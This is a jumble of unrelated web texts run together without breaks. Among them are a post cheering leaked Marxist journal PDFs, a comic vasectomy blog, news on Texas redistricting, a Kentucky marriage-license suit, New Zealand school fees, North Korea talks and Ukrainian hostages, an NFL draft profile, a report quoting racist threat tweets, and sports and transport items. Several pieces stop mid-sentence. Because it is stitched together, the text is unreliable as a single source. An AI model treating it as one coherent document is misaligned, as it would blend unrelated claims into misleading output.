Insightrix surveyed 801 randomly selected panel members, with 612 saying they were decided already. Data was collected from an online study August 11-13.A fresh batch of Historical Materialism PDFs has arrived, this time apparently hosted by the same people who posted the MECW last year. The world is in a sorry state, but for those who enjoy free commie literature, the holidays just came early. Not a bad selection, overall, though I could do without the endless Gramsci dickriding. Far more valuable than any of the new theoretical treatises they commission are their translations of older materials. So the Comintern congresses, the Bogdanov, the Austromarxism, and Economist writings are a welcome addition.
HM will likely have these taken down, but the cat is out of the bag. Copies will be made and distributed further. Omnia sunt communia.
More, which have been previously posted:
Also, depending on who you ask, I’m either a “hero of the proletariat” or a no-good “scab.” Sebastian Budgen still doesn’t seem to understand what the word “scab” means.
48.856614 2.352222
With lightning telegrams: Facebook
Twitter
Tumblr
More
Reddit
PinterestAfter the little warm-up appointment with the good Dr. Richard Cushion Hands, I am now much more learned in the ways of my built-in ovarian fertilization unit. Seems simple enough, really. There’s a couple of fertilizer factories. A distribution channel from each factory to a central export facility. From there, the cargo is jettisoned into the mysteries of the universe.
That’s you! And me! And about a Jizzillion other potential chances to catch a spark of life and do something awesome and meet a gal and fall in love and eat pizza and skin a knee and take a crap and watch the Longhorns take a crap and throw a beer on the floor and go to bed.
Anyway. I’m trying to say we’re all special. And that we’re all little miracles. Just maybe not because of this part.
WARNING: I’ll be using the word, “ejaculate” a bunch of times. And in many forms.
Each ejaculation contains, on average, 200-500 million sperm. That’s hundreds of millions of chances to eat pizza. Anything below 40 million sperm-per-ejaculation and the word, “impotence” starts getting thrown around. Flip it over, rub it down, and then a few rare master ejaculators can produce over ONE BILLION SPERM in a single ejaculation.
So you’re one-in-a-million. Whoop-tee-doo.
WARNING: There will be a pronunciation change in the word, “ejaculate.” Unlike the verb – ‘ee-JAK-yoo-layt‘, you will sometimes see the noun – ‘ee-JAK-yoo-lit.’
One single sperm fertilizes an egg. Each release of ejaculate contains hundreds of millions of sperm. But, get this – only 5% of each release of ejaculate is actually sperm. That’s right, you’re a drop in the buck of a drop in the bucket. (Note: never use this analogy in front of your lady.)
So you may be asking yourself – what’s the other 95%? Here’s the magic recipe:
70% fructose, amino acids, enzymes, etc. [sperm food]
25% Acid phosphatase, fibrinolysin, citric acid, etc. [lube]
5% Sperm [sperm]
>1% Galactos, mucus [more lube]
So, what the good doctor is going to do is cut the tubes supplying the 5%. Let’s go to the map:
“F” indeed.
That part takes about five minutes. And I’m told I’ll be sore for a couple of days. Then, I’ll be back in action after about a week. But, I won’t be completely sperm-free for another two months. Why so long you ask? I’ll have to save that for another blog.
WARNING: I’ll be using the word “masturbate” a bunch of times.
AdvertisementsWith excitement on the scale a little past Christmas morning but not quite to Summer Vacation, we have finally arrived at (drum roll please!) The Cofound.it Playoffs!
All Six Teams are in Ljubljana!
Here in Cofound.it HQ the adrenaline is kicking in as the six chosen Seed teams have gathered for their final pep-talks with their coaches before the big event tomorrow. I’m sure you have been reading the Cofound.it blog religiously as part of your personal preparations for the Cofound.it Playoffs but just in case … here’s a quick recap of the key checkpoints happening over the next 48 hours.
Phase |
ID and redistricting that began in 2011 in Texas is still underway. The courts are forcing the state to remove some of its restrictions on voting, but the redistricting judges haven’t done anything — changed maps, made a ruling, raised a question — since their last hearing.
That was two years ago.
The political maps matter. Only a handful of federal and state legislative seats are competitive, and only certain kinds of candidates are truly eligible contestants even in those districts. Those lines are set by the mapmakers, and the courts are supposed to make sure they’re fair — or at least legal — in a timely enough fashion to make a difference.
All of that business and civics stuff might be a little boring. How about life and death?
“ Sometimes we forget that the IRS isn’t the only government agency capable of abusing its authority. Anyone wielding the power of the state faces the temptation to abuse it. ” — Former Gov. Rick Perry
The safety of Texans with mental illness is sometimes held second to the reputations of the agencies charged with protecting them. Those agencies react to trouble — if at all — by hiding their misdeeds in personnel files and bureaucratic nonsense. A case in point, reported by the Tribune’s Edgar Walters: Keith Clayton, a 55-year-old committed to a state-run psychiatric hospital in Wichita Falls, was killed by attendants there who were trying to restrain him. It took five months for the medical examiner to determine that “an accident” had caused his death. The family, two years later, has never received an explanation.
It recalls something former Gov. Rick Perry said at a public policy conference last month about the power of government.
The Texas Tribune thanks its sponsors. Become one.
“Sometimes we forget that the IRS isn’t the only government agency capable of abusing its authority,” he told the American Legislative Exchange Council. “Anyone wielding the power of the state faces the temptation to abuse it.”
Perry was talking about criminal prosecutors run amok. That is hardly the only part of government that either doesn’t do the job it’s supposed to do — like that psych hospital in West Texas — or is doing a job voters had no idea was underway, like the public business outsourced to private firms with limited accountability to voters.
The attention-grabbing wizardry of Donald Trump and Hillary Clinton notwithstanding, there are plenty of examples of what’s really at stake when we choose the people who represent us. Voting isn’t just about personalities, and government isn’t just about partisan politics.
More columns from Ross Ramsey:
Questionable election laws can have an unusually long shelf life. After years of litigation, Texas’ restrictive voter photo ID law is only now being weakened under court order — and it’s just a temporary fix.
and it’s just a temporary fix. The Texas attorney general’s latest pratfall was the sort of mistake that your average statewide politician is — or ought to be — too paranoid to make. This guy can’t seem to catch a break, and it’s his own fault.
This guy can’t seem to catch a break, and it’s his own fault. If the law allows Texas and other states to discriminate, they will discriminate. Photo voter ID laws, which require voters to offer photographic proof that they are who they say they are, have been flopping in federal courts across the country.LOUISVILLE, Ky., July 2 (Reuters) - Eight people, including two same-sex couples, on Thursday sued an eastern Kentucky county clerk who refused to issue marriage licenses to anyone following last week’s U.S. Supreme Court ruling legalizing gay marriage, the Kentucky chapter of the American Civil Liberties Union said.
The lawsuit, filed in federal court in Ashland with the legal support of the ACLU, claims Rowan County Clerk Kim Davis has purposefully violated the plaintiffs’ rights. The lawsuit also named the county.
Prior to the Supreme Court decision, same-sex marriages were banned, but Governor Steve Beshear directed county clerks to begin accepting those applications hours after the ruling.
The plaintiffs seek to create a class action suit to force Davis to issue licenses to all eligible couples.
“When our laws are updated or changed, government officials have a duty and a responsibility to impartially administer those laws,” Michael Aldridge, the ACLU state executive director, said in a statement.
Davis could not be reached to comment on Thursday, but in an interview with Reuters on Tuesday she said her religious beliefs prevented her from issuing marriage licenses to gay and lesbian couples. She also said she knew a lawsuit was likely coming.
“I’ve thought a lot about what’s going to happen and what to do,” she said, when asked if she’s considered resigning. “I’ve just been praying about it. You know, if this is a fight I need to stay and fight, then I’ll fight. If it’s something that’s bigger than me and bigger than everyone else, we’ll just see about it when it comes.”
While the couples who filed suit could have applied for a license elsewhere in the state, Aaron Skaggs, a plaintiff in the case, said it was important to be accepted in his own community.
Rowan is not the only Kentucky county that has stopped issuing marriage licenses. Billy Joe Lowe, the clerk of Green County, told WFPL-FM on Thursday that when his office resumes issuing licenses next week, it will not accept applications from same-sex couples. (Reporting by Steve Bittenbender in Louisville, Kentucky; Editing by Ben Klayman and Eric Walsh)Parents discuss the costs of stationery, electronics, uniforms and school fees with the preparation for their children returning to school.
Pirinoa School's slogan says it all: "The school with FREE stationery, ZERO parent donations and the COOLEST kids you will ever meet!!!!!"
The Wairarapa school with a roll of about 50 kids scrapped the controversial parent donations requested by most New Zealand state schools earlier this year.
The decile-7 school, which received Government funding of $8439.41 per student in 2015, has also decided to provide books for all its students at no cost to parents.
SUPPLIED Pirinoa School in South Wairarapa has done away with parent donations thanks to succeeful fundraising, a generous board and some budget shuffling.
So has this little South Wairarapa school cracked the code? Or are they in a unique position with a motivated board of trustees and limited roll?
READ MORE:
* Costs of back to school supplies around New Zealand
* School costs increasing at almost 10 times the rate of inflation
* 'Free' education cost set to mount to more than $1 billion
* Turn donations into fees - Grammar principal
* Families struggle to afford the rising cost of back-to-school requirements
* Decile 10 schools take lion's share of school donations
Consumer Price Index figures released earlier this year show school fees and donations are rising at almost 10 times the rate of inflation.
How do you manage back-to-school costs? Share your stories, photos and videos. Contribute
For children who started state school this year, the total cost, including fees, extracurricular activities, other necessities, transport and computers, by the time they finish year 13 in 2028 is estimated at $35,064.
And in some cases, families are delaying sending their children back to school, due to the rising cost of "free" education.
Pirinoa principal Troy Anderson said the school's small roll and help from board of trustee members who were happy for their service fees to go back into the school's kitty put them at an advantage.
CHRISTEL YARDLEY/FAIRFAX NZ The school also provides every student with the exercise books they need.
However, there was potential for other schools to follow suit where possible, he said.
The school made the decision to scrap the $100 per student donations in June.
Only 40-50 per cent of families were paying donations, amounting to a negligible $1200 a year.
Some families would never be able to afford the donation and it affected their mana, leading to parents avoiding coming into school and engaging in school community events.
Rather than embarrassing some families over a donation they couldn't afford, the school decided to find some room in the budget and rely on fundraising events for the extra money, Anderson said.
They also decided to provide exercise books for every student at the school, meaning kids had the correct books and Pirinoa received a discount for buying in bulk.
JOHN BISSET/FAIRFAX NZ The parent donation requested by most state schools has long been a contentious issue in New Zealand.
"You can see the lift in [parents'] eyes.
"Because we're saving them $120 per kid, I can see the relief," Anderson said.
The school had a massive fundraising win earlier this year, bringing in about $41,500. This windfall helped get the school started but Anderson said he was confident the school could continue to offer the no donations, free stationery deal for years to come.
SUPPLIED Pirinoa School principal Troy Anderson (right) says it affects parents' mana when they can't afford the donation. Instead, the school has found room in its budget to continue with its no-donation policy, introduced in June.
"Any help is good help for parents."
Doing away with donations helped differentiate the school from others in the area, he said.
Pirinoa's roll had increased from 29 to 45 in the past 18 months.
Some other schools across the country have taken a similar route, asking students to participate in a "work day", and getting parents more involved in fundraising activities - rather than asking them to dig into their pockets again.
In the past, state schools have blamed the need to ask for parent donations on the Government's decile-based funding system.
Higher decile schools receive less funding from Government. The rationale is children who come from higher socio-economic backgrounds have the resources to fund school activities and stationery.
JOHN BISSET Donations are a contentious issue, with some parents struggling to afford them or refusing to pay. However, many schools say they couldn't survive without them.
But this isn't always the case, with some of the country's top schools saying the low rate of donations paid, coupled with less Government funding leaves them scrambling for money.
And last year Auckland Grammar School Principal called for the Government to turn donations into compulsory fees.
In February, Secondary Principals' Association's Patrick Walsh said the notion of a free education should be abandoned.
"I think the basic principle is you undertake a study... of what it costs to actually run a school, all the operational costs including staffing, and you either fund it to the level it actually costs, or you say the pie isn't big enough to support that and we will now allow schools to charge parents for some of the services."
Walsh said donations were essential to give students a high quality education and schools should be able to demand parents pay.
Comment is being sought from NZ Principals' Federation.AP and congressional offices John Boehner gets his first Air Force One ride with Obama
John Boehner and Barack Obama’s relationship reached new heights Friday.
The Republican House Speaker took his first trip with the president on Air Force One as the two headed to Charleston, South Carolina, to mourn the nine African-American men and women killed at their church last week.
Story Continued Below
Obama has never been known as much of a schmoozer, but in recent months he has treated fellow lawmakers from both parties to trips aboard Air Force One with him as a way of currying favor and engaging in discussions with a captive audience.
A White House official told POLITICO in February that since the Democratic losses in the 2014 midterm elections, the president himself has used the plane to facilitate tête-à-têtes with various legislators. House Minority Leader Nancy Pelosi, Sens. Lamar Alexander (R-Tenn.) and Bob Corker (R-Tenn.) among others, all flew with the president on his Boeing 747 in early 2015.
The change in Air Force One hangouts following the midterms provided a marked contrast to the middle of the Obama presidency; from September 2011 until February 2013 not a single Republican lawmaker joined the commander in chief aboard the plane, despite a litany of possible trips.
The president flew to Charleston Friday with a large group of lawmakers, including not only Boehner, but also Republican Majority Whip Steve Scalise (R-La.) and Reps. Chris Van Hollen (D-Md.) and John Lewis (D-Ga.).
Boehner carried with him an envelope containing a first-flight certificate, given to passengers when they make their first trip with a president aboard his plane.
Follow @politicoThe tayra (Eira barbara), a species of mustelid found in Central and South America, is the first non-human animal to have been found to harvest unripe fruits and hide them until they ripen. Unlike other native species such as coatis and opossums that eat ripe fruit while it is still attached to the plant, tayras break off whole sapote and plantain fruits and cache them for later. This may seem similar to a squirrel stashing away nuts for the winter, but there is a key difference: nuts are a food that could be eaten now, but are not required, whereas the fruits kept by tayras are not yet edible. As such this research sparks the hotly debated question of whether animals have an awareness of, or plan for, the future; in this case, whether the tayra plans that the fruits will provide for them when they are hungry a few days from now. The strongest evidence for this has currently been seen in primates and corvids - for example, chimpanzees have been seen to take tools for later use even if they are currently unnecessary - but it remains up for debate whether these animals specifically carry out their actions with the future in mind.
Ref: Soley & Alvarado-Díaz (2011) Prospective thinking in a mustelid? Eira barbara (Carnivora) cache unripe fruits to consume them once ripened. Naturwissenschaften 98, 693-698. [link]I came home to a huge and heavy box. I ripped it open and was met by a mass of packaging material - this was bomb-proof packing!
After what seemed hours of poking through the immense padding, I was met with 3 glass jars - they all looked the same, but didn't have a label.
I opened the lid and took a smell - smoky BBQ deliciousness. Oh yes. I tasted a little - it was amazing. It carried some heat, but not too much.
I made a plan to use this tonight on some chicken! Check out what I made below - it was AMAZING. I used it to make the best Hunter's Chicken I've ever tasted - all thanks to this condiment.
The sauce is fantastic - I'm guessing it was homemade, or from a farmer's market because of the lack of a label. It's a shame I won't be able to buy more on the internet at some point because I've gone through 2/3 of the first jar!
Thank you so much to my Condiment gifter - you certainly hit the nail on the head with this one! :DPeople in Britain have been signing a petition that calls on the government to arrest Israeli Prime Minister Benjamin Netanyahu upon his arrival in the UK next month.
The petition entitled “Benjamin Netanyahu to be arrested for war crimes when he arrives in London” is available at a petitions website set up by the UK government and parliament.
“Benjamin Netanyahu is to hold talks in London this September. Under international law, he should be arrested for war crimes upon arrival in the UK for the massacre of over 2,000 civilians in 2014,” the petition reads.
More than 26,000 people had signed the petition until GMT 1100 on Monday with the number of signatures dramatically on the rise.
The British government is expected to respond to the demand as all petitions that get more than 10,000 signatures should be seen into, according to law.
Rules governing the petition site also stipulate that any petition that receives in excess of 100,000 signatures must be considered by the UK parliament for debate.
The deadline for signing the petition is on February 7, 2016.
Israel launched its latest onslaught against the besieged Gaza Strip in early July 2014. The offensive ended in late August 2014, with a truce that took effect after indirect negotiations between Hamas and Israeli officials in the Egyptian capital city of Cairo.
Amnesty International said on November 5, 2014 that the Israeli military's killing of hundreds of Palestinian civilians during its military aggression against the Gaza Strip amounts to “war crimes”.
"It appears that the attacks directly and deliberately targeted civilians or civilian objects, which would constitute war crimes," the London-based rights group said in a new report on Wednesday, adding that eight cases had been examined, in which Israeli airstrikes targeted homes in Gaza “without warning.”
“Israeli forces have brazenly flouted the laws of war by carrying out a series of attacks on civilian homes, displaying callous indifference to the carnage caused,” said Philip Luther, the director of the Middle East and North Africa Program at Amnesty International.
Over 2,200 Palestinians were killed and some 11,100 others wounded in Israel’s 50-day military aggression last summer.The Six Party Talks might be back on the horizon. What will it take to get them going again?
The Six Party Talks between the United States, Russia, China, South Korea and Japan on one side and North Korea on the other broke down in 2009 with little to show for the six years they were active. North Korea’s nuclear activities since the breakdown of the talks makes it amply clear that the Korean peninsula is no closer to denuclearization. When the North pulled out of the talks in 2009, after it launched a “satellite” (read: Taepodong-2), it issued a harsh statement noting that “there is no need for the six-party talks any more … We will never again take part in such talks and will not be bound by any agreement reached at the talks.” A lot has changed since then, and there are burgeoning signs that the Six Party Talks might be back on the horizon.
Despite the harshness of that statement, Pyongyang may have had a slight change of heart under Kim Jong-un. The incentive for the North to seek a reset in the Six Party Talks is primarily economic this time. There are signs that Kim Jong-un, either independent of outside counsel or on the counsel of other senior DPRK leaders, sees a necessity to return to the negotiating table. Additionally, despite the North’s recent provocations towards South Korea, there are encouraging signs that Pyongyang might be interested in a more stable situation across the 38th parallel. Recent family reunions between families split by the Korean war armistice, high level talks, and Kim Jong-un’s New Year’s address calling for closer relations between the two Koreas indicate that inter-Korean relations in spring 2014 will be calmer than spring 2013 when tensions were high. The give-and-take of the Six Party Talks has been simple: the North gives up its nuclear program and receives partial reprieve from biting international isolation and sanctions.
Pushing the North Koreans back to the table this time are the Chinese, who haven’t been particularly thrilled with the direction Northeast Asia’s favorite pariah state has been taking since Kim Jong-un took over. Jang Song-thaek’s execution in late 2013 was something of a wake-up call and China has spent the first two months of 2014 lobbying particularly hard for a resumption of the Six Party Talks.
Earlier this month, Chinese Vice Foreign Minister Liu Zhenmin made back-to-back trips to Pyongyang and Seoul – almost overlapping with U.S. Secretary of State John Kerry in the latter – attempting to resume the talks. Chinese Foreign Ministry spokesperson Hua Chunying clarified that the Six Party Talks were part of the Chinese foreign policy agenda for the Korean peninsula: “We will continue to make positive efforts in our own way to press ahead with the resumption of the six-party talks,” she said. For Beijing, resuming the Six Party Talks would show the world that it can serve as a mediator within the region – a goal that Liu was doubtlessly pursuing with his shuttle diplomacy between the Koreas.
Although the DPRK is notoriously good at masking its intentions, a few statements have emerged from individuals fairly high up in the North Korean foreign affairs food chain. A lone tweet from China’s Xinhua news agency notes that “DPRK ambassador to China said the DPRK agrees on resumption of six-party talks, calling on the U.S. to fulfill its related obligations.” In a somewhat contradictory signal, North Korea’s ambassador to Moscow noted that “the chance of resuming the talks was fading away because of Washington’s hostile policy towards the North,” according to Arirang News.
China’s interest in resuming Six Party Talks is simple: it wants a more stable and predictable neighbor to its northeast. Additionally, as a report in The Diplomat earlier this month demonstrated, Chinese investors in North Korea are growing increasingly disappointed with the North’s management of its internal affairs. Initiatives like the Rason Special Economic Zone are beginning to falter because Chinese investors perceive unpalatable levels of risk in doing business in North Korea. Resuming the Six Party Talks, of course, is no panacea for the plethora of deep systemic problems the North faces, but as far as China is concerned, it’s a good start.
The United States, long frustrated by its attempts at bona fide engagement with North Korea only to face another missile test months later, sees a very limited scope for resuming the Six Party Talks at this time. For the Obama administration to come around on the talks, North Korea would have to make concrete concessions and demonstrate that it was coming to the negotiating table in good faith. U.S. Special Representative for North Korea Glyn Davies shot down any prospect of restarting the Six Party Talks before North Korea takes concrete steps to reign in its nuclear program. “The principal obstacle has been the lack of not just interest, but meaningful steps by North Korea to demonstrate that they understand that it has to move up to its obligations and commitments,” he said.
U.S. Assistant Secretary of State for East Asia Daniel Russel set out a more specific game plan for what the United States would like to see before the Six Party Talks can resume. Speaking earlier this month, Russel said that should the Six Party Talks resume, North Korea must come to the negotiating table having fully accepted the terms of the 2005 joint statement. That agreement began with the following three affirmations by North Korea, the United States, and South Korea:
The D.P.R.K. committed to abandoning all nuclear weapons and existing nuclear programs and returning, at an early date, to the Treaty on the Nonproliferation of Nuclear Weapons and to IAEA safeguards. The United States affirmed that it has no nuclear weapons on the Korean Peninsula and has no intention to attack or invade the D.P.R.K. with nuclear or conventional weapons. The R.O.K. reaffirmed its commitment not to receive or deploy nuclear weapons in accordance with the 1992 Joint Declaration of the Denuclearization of the Korean Peninsula, while affirming that there exist no nuclear weapons within its territory.
For Kim Jong-un to accede to this statement at this point, having conducted a nuclear test a mere year ago, would be a major concession. Additionally, I suspect that besides Russel’s emphasis on the joint statement, negotiations could not resume without the North making a major gesture towards the IAEA (for example).
The Obama administration additionally might lack the domestic political capital to engage in meaningful nuclear diplomacy on the North Korean issue when it has put so much on the line by engaging Iran. Should Iran and the P5+1 conclude a permanent deal on Iran’s nuclear program, Obama might be able to find another chance for diplomacy on the Korean peninsula.
Despite North Korea’s positive engagement with South Korea, it’s evident that Pyongyang still suffers from a bad case of the left hand not knowing what the right hand is doing. Inviting Seoul to unconditional bilateral talks one week and then provoking it a few weeks later does not send a reassuring signal to the international community. Despite Beijing’s best efforts, I fear it will be unable to encourage North Korea to behave in a manner that would allow the Six Party Talks to resume.
The Six Party Talks may not resume in 2014, but they are back on the horizon. China and the United States would do well to find a workable middle ground on preconditions. Although the talks won’t be high on the agenda for President Obama’s April trip to Asia, he would do well to discuss it with President Park and Abe in South Korea and Japan. Ultimately, whether the talks occur or not will be a function of the North Korean regime’s intentions – its duplicity in the past has cost it a fortune in credibility and a long road lies ahead should it decide it wants to pursue negotiations in earnest. Kim Jong-un may have a small sliver of an opportunity here to eke North Korea out of its current economic rut. If he does seize the moment, he could always frame it as his attempt to fulfill his late father’s “dying wish” of a denuclearized Korean peninsula.Ukrainian militants display European hostages
Vacheslav Ponomarev (second from left), the self- proclaimed mayor of Slovyansk, is flanked by foreign observers being held by his group as he addresses the media. Vacheslav Ponomarev (second from left), the self- proclaimed mayor of Slovyansk, is flanked by foreign observers being held by his group as he addresses the media. Photo: Sergei Grits, Associated Press Photo: Sergei Grits, Associated Press Image 1 of / 1 Caption Close Ukrainian militants display European hostages 1 / 1 Back to Gallery
Slovyansk, Ukraine -- Pro-Russian militants in camouflage fatigues and black balaclavas paraded captive European military observers before the media on Sunday, hours after three Ukrainian security guards were shown on Russian TV bloodied, blindfolded and stripped of their trousers and shoes, their arms bound with packing tape.
The provocative displays came as the increasingly ruthless pro-Russian insurgency in the east turns to hostage-taking as an ominous new tactic.
Germany's foreign minister condemned the appearance as "revolting" and a violation of the men's dignity. Four members of the team are German. One of the observers, a Swedish officer, was released later in the day for medical reasons.
Dozens of people are being held hostage, including journalists and pro-Ukraine activists, in makeshift jails in Slovyansk in the heart of the separatists' territory, as the pro-Russian insurgents strengthen their control in the east in defiance of the interim government in Kiev and its Western supporters.
Col. Axel Schneider from Germany, who spoke for the group of military observers detained on Friday, stressed that they were on a diplomatic mission under the auspices of the Organization of Security and Cooperation in Europe and weren't spying for NATO, as the insurgents claim.
Referring to himself and his team as "guests" under the "protection" of the city's self-proclaimed mayor, Schneider said they were being treated as well as possible under the circumstances.
The Ukrainian government and the West have accused Russia of using covert forces to encourage the unrest in eastern Ukraine, where pro-Russia militias have seized police stations and government buildings in at least 10 cities and towns.
The U.S. and other nations in the Group of Seven have announced plans to impose additional economic sanctions on Russia in response to its actions in Ukraine. The European Union also is planning more sanctions, with ambassadors from the bloc to meet Monday in Brussels to add to the list of Russian officials who have been hit by asset freezes and travel bans.Overview Conner has become one of the best stories coming out of college football the past couple of seasons, overcoming a diagnosis of Hodgkin's lymphoma to return to the field. He won the Disney Spirit Award and the ACC Brian Piccolo Award as rewards for beating cancer, but his best accomplishment was earning first-team all-conference recognition by carrying the ball 216 times for 1,092 yards and 16 touchdowns this season. Doctors found the issue while Conner was trying to rehabilitate a torn right MCL that forced him to miss all but the opener of the 2015 season. Conner made a name for himself by racking up 1,765 yards and 26 scores as a sophomore, garnering second-team AP All-American and ACC Player of the Year honors. He ranked third in the FBS in rushing yards despite being hindered by a hip injury the final two regular season games. In his true freshman season, Conner came on late, setting a school bowl record with 229 yards against Bowling Green as the Little Caesar's Bowl MVP (he had 799 yards, eight TDs total on the year.)
Analysis Strengths Team captain known for incredible resilience and mental toughness. Leaned down and added more muscle mass this season. Arm tackles are a waste of time. Carries heavy momentum behind pads at finish. Drops shoulder to punish final tackler. Uses wicked stiff-arm to punch and swat tacklers to the ground. Creates for himself through brute force. Natural power in lower half. Doesn't need a clean point of entry for aggressive, downhill charge. Excellent contact balance despite heavy shots on his legs. Short-yardage specialist who can move the chains and score touchdowns. Willing to leave his feet and sacrifice body near goal line. Willing blocker in pass pro and showed ability to come out of backfield in wheel routes, swing passes and outs. Weaknesses Needs a clean slate of blocks to consistently make his way around the corner on the next level. Could struggle to accelerate from tacklers if he gets too cute. Runs with stiff hips and heavy legs. Lacks quick-escape athleticism for sudden shake in open field. All power, no finesse. Early defensive penetration short-circuits his run. Average lateral movement and not desired amount for every-down back. Can be a little slow to process moving parts in front of him. Not a press-and-cut back and needs to learn to set blocks up better. Hands a little stiff as pass catcher and will fight the ball at times. Tape shows occasional confusion in blitz pick-up. Medical concerns will continue to follow him. Draft Projection Rounds 5-6 NFL Comparison T.J. Duckett Bottom Line Physical, battering-ram style runner who makes the hitting a two-way affair. Conner's lack of speed and reactive quickness could limit his role as a pro, but his heart, work ethic and ability to keep the chains moving could make him a red-zone specialist with the ability to handle some third down duties as well. -Lance ZierleinUNION, NJ - A threat was put out on the social media site Twitter on Tuesday evening threatening to kill all black students on the Kean University campus.
Someone with the handle “@keanuagainstblk" wrote tweets such as “I will kill every black male and female at kean university.” and another said “kean university theres a bomb on your campus.”
While these are just threats, it has many students living at the school on edge, with many contacting the Kean University Police. Kean University Police posted on its Twitter site, “We are aware of the situation on Twitter and it is being looked into.” They also tweeted for students to tweet to “@KeanUniversity - if you SEE SOMETHING, or SOMEONE, that doesn’t seem right. SAY SOMETHING.”
Sign Up for E-News
Students were also seen and heard outside yelling in anger in what is known as the “Quad” area of the residence halls. “They don’t care about your life, they don’t care, they don’t care,” was heard repeatedly.
The Kean Student Body President Nigel Donald tweeted to students at 11 p.m., “I’m asking Kean students as your student leader to not attend classes tomorrow as recent threats have been made against the campus.”
At 12:30 a.m., Kean University tweeted, “Threatening tweets are under investigation by @kupolice. Protest on campus is peaceful”.VANCOUVER, B.C – Canada coach John Herdman has been tinkering with his roster as he looks to integrate younger players into the national team program. The firm veteran presence that Canada is known for having is still there, but now Herdman and his staff are moving forward with a potential pipeline of youthful players who should grow and develop into the next generation of great Canadian internationals.
Ashley Lawrence and Kadeisha Buchanan were among the best players on the big stage at the 2015 World Cup. The 20-year-old Buchanan was honored with Canada’s 2015 BMO Player of the Year Award on Thursday. This is the first time a player not named Christine Sinclair has won this award since 2003. Buchanan was also shortlisted for 2015 FIFA Women’s Player of the Year.
[MORE: Sinclair ties Hamm on all-time scoring list]
While Buchanan is becoming a household name in women’s football circles, fellow defender Rebecca Quinn is just starting to come into her own.
The Duke University junior has had a massive year of her own. Quinn featured in the 2015 China Four Nations Cup, the Cyprus Cup, the Pan-American Games, and was monumental in Duke’s run to the 2015 College Cup final. Quinn joined Canada in Natal, Brazil following Duke’s 1-0 loss in the College Cup.
She took time to reflect on how big this year has been for her.
“It was a huge year for me,” Quinn recently told The Equalizer. “I haven’t been playing for the senior team for too long now. Being in the program for all of last year was really great for my development. Unfortunately not making the World Cup squad was difficult as it would be for anyone. Pan-Am Games was a good opportunity for me to show my leadership role with the team. I’m just happy to be back in the environment.”
A whirlwind travel schedule meant that Quinn did not get any practice time in Brazil before Canada’s opening match against Mexico on Wednesday, December 9. Canada prevailed 3-0. John Herdman elected to play Quinn alongside Buchanan vs Trinidad & Tobago on Sunday, December 13. Canada won 4-0. In Canada’s most recent match on Wednesday vs Brazil, Quinn showed her versatility playing next to Ashley Lawrence in a holding midfield spot. Canada was firmly tested and fell to Brazil 2-1.
[MORE: Abby Wambach leaves emotional final message before retiring: ‘Forget me’]
In her 11 caps, the Toronto native has shown she can be a defensive standout and a threat to contribute at the other end of the pitch. Much like Buchanan, Canada is looking at another terrific centerback. With only a few matches together, Quinn is already feeling comfortable playing alongside Buchanan.
“I think it’s always fun to have such a quality player playing beside you,” Quinn said. “It’s always fun taking a front line when we can. Her defensive qualities have shown and it’s great to have a centre-back backing you up that’s going to fight with you. It gives you confidence and it’s a pleasure playing with her.”
Quinn is hoping she can do enough in Brazil to earn a call-up to John Herdman’s January evaluation camp in Vancouver. CONCACAF’s 2016 Rio Olympic qualifying tournament will take place in Texas from February 10-21. Quinn seemingly has one foot in the door and she is hoping she can become a mainstay with Canada for a long time to come.
“Hopefully, that’s my plan to be a big part of the team and have a huge impact. That’s my main objective for now.”
Quinny, as she is affectionately known by her friends and teammates, is majoring in biology at Duke and has one year of eligibility left. Beyond school, Quinn would like to play professionally. When the time comes she will explore all her options. Winning a 2016 College Cup with Duke remains a goal and Quinn would like another shot at leading the Blue Devils to a national championship.
“I think it was a great experience. Anyone’s dream in college is to win a college championship,” she said. “I think next year we’ll have a great run at it as well. It prepares you for international tournaments as well. Being in that leadership role for Duke was great experience as well.”
Herdman is building Canada with a strong defensive mindset. Quinn and Buchanan appear to be at the center of that movement and will look to protect and lead Canada at the back for years to come.
Canada wraps up its 2015 campaign on Sunday in the 2015 Torneio Internacional de Natal final against Brazil. Christine Sinclair will look to pass Mia Hamm on the all-time international goal-scoring list.D.C. gets first bicycle traffic signal
By Washington Post Editors
The D.C. Department of Transportation says it's installing the city's first traffic signals for bicyclists.
The department says the signals will be at the intersection of 16th and U streets and New Hampshire Avenue in northwest D.C.
DDOT director Gabe Klein says it's a popular route for many bicyclists, but it can be treacherous getting through that intersection.
Officials say new “contraflow” bicycle lanes on New Hampshire Avenue and “bike boxes” on 16th Street are part of an experimental project approved by the Federal Highway Administration.
The contraflow lanes allow bicyclists to travel legally in both directions. The bike boxes will make riders more visible to other traffic.
Officials say if the project succeeds, the design may be used as officials reconstruct U Street.
--Associated PressA few weeks ago, I assigned the article “What is Marriage?” to the students in my gender theory class, which I teach at an evangelical university. This article presents an in-depth defense of the conjugal view of marriage, and I included it on the reading list as part of my efforts to expose students to a range of viewpoints—religious and secular, progressive and conservative. The goal is to create robust civil dialogue, and, ideally, to pave the way for thoughtful Christian contributions to cultural understandings of sex and gender. The one promise I make to my students at the beginning of the course is that they are guaranteed to read something they will find disagreeable, probably even offensive.
That promise used to be easier to keep.
When I first began teaching this course, my students were certainly curious about questions of gender, sexuality, feminism—the various “hot button” issues of our cultural moment—but they were nonetheless devout, and demonstrated, more or less, a Christian orientation to these topics. It wasn’t hard to find readings that challenged students’ shared values and assumptions, considering the secular bent of contemporary gender studies.
In just five years, however, this has changed. Students now arrive in my class thoroughly versed in the language and categories of identity politics; they are reticent to disagree with anything for fear of seeming intolerant—except, of course, what they perceive to be intolerant. Like, for example, “What is Marriage?”
My students hated it, as I suspected they would. They also seemed unable to fully understand the argument. As I tried to explain the reasoning behind the conjugal view of marriage and its attitude toward sex, I received dubious stares in response. I realized, as I listened to the discussion, that the idea of “redefining” marriage was nonsensical to them, because they had never encountered the philosophy behind |
auf einem Comm-Link-Eintrag beruhen, den englischen Originaltext inklusive der Bilder am Ende des Artikels einbinden. Dadurch könnt Ihr direkt hier auf der Seite die Abschnitte nachlesen, die Euch interessieren bzw. die ich als erwähnenswert in meinem deutschen Text herausgestellt habe. Natürlich ist mir klar, dass eine vollständige Übersetzung besser wäre, aber dafür ist der manuelle Aufwand einfach zu groß.
Zusätzlich zu den Comm-Link-Einträgen werde ich versuchen so oft wie möglich einen Beitrag wie den heutigen, oder Hintergrundrecherchen wie die Posts über Instanzierung zu schreiben. Da diese eine Menge Zeit benötigen, um zu Recherchieren und dann die Informationen in einen Artikel zu gießen, kann ich nicht sagen, in welchem Rhythmus diese Artikel herauskommen werden. Realistisch betrachtet, wird es einer alle paar Wochen sein.
